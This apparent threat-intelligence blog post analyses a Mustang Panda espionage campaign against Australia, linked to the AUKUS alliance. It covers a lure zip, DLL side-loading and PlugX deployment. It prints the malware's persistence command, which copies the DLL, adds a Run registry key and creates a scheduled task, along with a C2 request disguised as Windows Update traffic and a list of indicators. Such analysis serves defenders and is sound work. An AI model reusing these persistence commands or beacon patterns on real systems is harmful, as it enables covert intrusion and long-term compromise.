New Mustang Panda's campaing against Australia

May 03, 2023

AUKUS (Australia-United Kingdom-United States) is a strategic military alliance between these territories that became a reality in 2021, whose main objective is to build nuclear-powered submarines to counter the threat from China in the Indo-Pacific region. This agreement also includes the sharing of cyber capabilities and other submarine technologies. Some sources point out that this is not a security pact, but is rather intended to "elevate the intelligence and deterrence value of conventional capabilities".

The key facts of this alliance are as follows:

- The US pledged to invest $4.6 billion in the deal. Australia, for its part, will buy at least three second-hand submarines from the US early in the next decade. However, the US Congress has yet to approve this transaction. In addition, Australia will build a fleet of eight nuclear submarines. The first of these is expected to be ready in 2042.

- This partnership has upset both France and China. Australia will terminate the contract awarded to France to build 12 diesel-electric submarines. The importance of these submarines is reflected in their capabilities: compared to traditional submarines, they have a longer range, are harder to detect, can remain submerged for months and have a greater carrying capacity. However, they are larger, which is why nuclear submarines are more vulnerable to attack from the surface.

- Last year, China called the deal "destabilising" and "provocative". Mao Ning, spokesperson for China's Foreign Ministry, said at a press conference on 9th March that Australia is contributing to the proliferation of nuclear weapons, is promoting an arms race and that this agreement only destabilises the Asia-Pacific region. In addition, China issued the following

> threat: "Australian troops are also more likely to be the first group of Western soldiers to waste their lives in the South China Sea".

The Lab52 team has already detected the possibility that actors associated with China, especially Mustang Panda, could carry out attacks against the Australian government, notifying its clients.

Lab52 has found a zip file named *Biography of Senator the Hon Don Farrell.zip*. Hon Don Farrell is the current Australian Secretary of State for Trade and Tourism, indicating a targeted campaign against Australia.

Illustration 1 Senator Hon Don Farrell's profile

The zip drops two files. On the one hand, the legitimate application for process pdf files Solid PDF Creator, renamed as "*Biography of Senator the Hon Don Farrell/Biography of Senator the Hon Don Farrell.exe*", on the other hand, we have seen a malicious payload named SolidPDFCreator.dll. Persistence is done through a Dll Side Loading by the stager.

```
mov     [ebp+var_58], eax
call    esi ; GetModuleHandleW
push    eax             ; hModule
call    edi ; GetProcAddress
push    offset aCWindowsSystem ; "\\??\\C:\\Windows\\system32\\cmd.exe"
lea     ecx, [ebp+var_60]
push    ecx
mov     esi, eax
call    ebx
push    offset aCCopySolidpdfc ; "/C copy SolidPDFCreator.dll C:\\Users\\"...
lea     edx, [ebp+var_68]
push    edx
```

Illustration 2 Stage activity

C:\Windows\SysWOW64\cmd.exe /C copy SolidPDFCreator.dll C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.dll & reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v SolidPDF /t reg_sz /d "C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.exe" /F & schtasks /F /Create /TN SolidPDF /SC minute /MO 1 /TR C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.exe

After that, the stager tries to impersonate common Microsoft update communications, hardconding a legitimate host header www.asia.microsoft.com, which, in fact, is requesting against 123.253.35[.]231 as C2.

```
POST /v11/2/windowsupdate/redir/v6-winsp1-wuredir?878182977 HTTP/1.1
Host: www.asia.microsoft.com
Upgrade-Insecure-Requests: 1
User-Agent:Windows-Update-Agent
Accept: text/html,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Connection: Keep-Alive
Content-Length: 44

FwMDABxfv7jv6lniXGU2EXdUEGYqT2MyTzcyASs/Qgh1
```

Illustration 3 Stage request

It is worth noting that it does not download the PlugX malware in the first instance, as usual, but, similar to what has been reported previously by Talos Intelligence [1] or Cisco [2], it uses a custom-developed stager, subsequently providing the attacker with a reverse shell for a PlugX deployment.

As can be seen, China has developed cyber capabilities that allow it to respond quickly to any geopolitical event that might affect its interests. The AUKUS treaty has been a regional destabilisation for China, and more campaigns are expected to continue to target Australia. Lab52 highlights how tracking and monitoring

events in international relations allows us to understand the motivations of key actor-states.

IOC

123.253.35[.]231

4fbfbf1cd2efaef1906f0bd2195281b77619b9948e829b4d53bf1f198ba81dc5

e2acbc36c2cce4050e34033c12f766fea58b4196d84cf40e979fac8fed24c942

3c4671b4a0c3e7da186bd356e07cf0daca7267addde668044b1ded42c6dbe09b

5dde3bca0e5319c62d547bd0c37e621f2050598a347447bde832a9fc37efd97d

167a842b97d0434f20e0cd6cf73d07079255a743d26606b94fc785a0f3c6736e

41276827827b95c9b5a9fbd198b7cff2aef6f90f2b2b3ea84fadb69c55efa171

f8e6b2e537325d6775d35755c8fe19ef89b27e1a7aba183490fbcbf2d52c15f4

References

[1] – https://blog.talosintelligence.com/mustang-panda-targets-europe/

[2] – https://gblogs.cisco.com/jp/2022/05/talos-mustang-panda-targets-europe/

Dex

+ posts

Dex

Your email address will not be published. Required fields are marked *

Comment *

Enter your comment here...

Name *

Email *

I hereby declare to have read and accepted the legal notice and the privacy policy. *

POST COMMENT

Related

Mustang Panda's PlugX new variant targetting Taiwanese government and diplomats
December 11, 2023

Tags: MustangPanda, PlugX, SmugX

Let's talk about the malware used by Mustang Panda
May 05, 2023

Tags: MustangPanda

DLL Side Loading through IObit against Colombia
May 28, 2024

Tags: AsyncRAT, Colombia